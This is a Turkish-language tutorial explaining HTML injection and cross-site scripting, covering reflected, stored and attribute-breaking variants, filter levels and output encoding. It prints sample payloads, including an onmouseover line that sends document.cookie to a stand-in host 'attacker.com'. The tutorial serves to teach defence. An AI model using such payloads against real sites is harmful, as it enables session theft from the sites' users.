Web uygulamalarında kullanıcıdan alınan verinin nasıl işlendiği kritik bir konudur. Gerekli kontroller yapılmazsa, bu veriler üzerinden sisteme müdahale edilebilir. HTML Injection ve XSS de tam olarak bu noktada ortaya çıkar.
HTML Injection Nedir?
HTML Injection, kullanıcı girdisinin filtrelenmeden doğrudan sayfaya basılmasıyla oluşur. Tarayıcı, bu girdiyi veri olarak değil HTML kodu olarak yorumlar.
Örneğin:
<input value="KULLANICI_INPUT">Kullanıcı şu değeri girerse:
<h1>Test</h1>Sayfa bunu başlık olarak render eder. Bu basit bir HTML Injection'dır.
XSS ile Bağlantısı
Eğer enjekte edilen kod JavaScript içeriyorsa, olay XSS'e dönüşür:
<script>alert("XSS")</script>Bu durumda artık sadece görünüm değil, kod çalıştırma söz konusudur.
Injection Türleri
Reflected (GET)
Veri URL üzerinden taşınır ve anlık etki oluşturur.
site.com/search?q=<script>alert(1)</script>Genelde kullanıcıya link gönderilerek tetiklenir.
Reflected (POST)
Veri URL'de görünmez, request body içindedir. Bu tür testler genellikle Burp Suite ile yapılır.
Stored
En riskli senaryodur. Girilen veri veritabanına kaydedilir ve sayfayı ziyaret eden herkese yansır.
Örneğin bir yorum alanına yazılan zararlı kod, tüm kullanıcılar için çalışır.
Attribute Injection Neden Önemli?
Injection her zaman doğrudan <script> ile olmaz. Daha sinsi yöntemlerden biri attribute kırmaktır.
Şu kodu düşünelim:
<input value="KULLANICI_INPUT">Kullanıcı şu değeri girerse:
" onmouseover="alert(1)Ortaya çıkan sonuç:
<input value="" onmouseover="alert(1)">Burada:
- Mevcut attribute kapatıldı
- Yeni bir event eklendi
- JavaScript çalıştırıldı
Bu yöntem, filtreleri atlatmak için sık kullanılır.
Gerçekçi Senaryo: Cookie Bilgisi Alma
Daha ileri bir örnekte amaç, kullanıcının oturum bilgisini elde etmektir:
" onmouseover="fetch('http://attacker.com?c='+document.cookie)Kullanıcı sayfa üzerinde etkileşime geçtiğinde, cookie bilgisi saldırganın sunucusuna gönderilir.
Modern uygulamalarda HttpOnly gibi önlemler bu tür saldırıları zorlaştırır, ancak tamamen ortadan kaldırmaz.
Güvenlik Seviyeleri
Low
Hiç filtre yoktur. Girilen her şey çalışır.
Medium
Özel karakterler encode edilir. Ancak bazı tekniklerle bypass edilebilir.
High
htmlspecialchars() gibi fonksiyonlarla çıktı güvenli hale getirilir. Bu, HTML injection'ı büyük ölçüde engeller.
Yeterli mi?
Hayır. Çünkü:
- Her bağlam (context) farklı koruma gerektirir
- Yanlış kullanım yeni açıklar doğurabilir
- Sistem başka zafiyetler de içerebilir
Tek bir önlem hiçbir zaman yeterli değildir.
Not: JavaScript içinde basılan veri ile HTML içinde basılan veri farklı encode edilmelidir.
Test Süreci
Bu tür zafiyetleri analiz ederken genelde proxy araçları kullanılır. İstek yakalanır, parametreler değiştirilir ve uygulamanın verdiği tepki gözlemlenir.
Sonuç
HTML Injection basit bir açık gibi görünse de, doğru kullanıldığında ciddi sonuçlar doğurabilir. Özellikle Stored XSS senaryoları, bir uygulamanın tüm kullanıcılarını etkileyebilir.
Bu nedenle:
- Kullanıcı girdisi asla doğrudan render edilmemeli
- Çıktı her zaman encode edilmeli
- Farklı senaryolar ayrı ayrı değerlendirilmelidir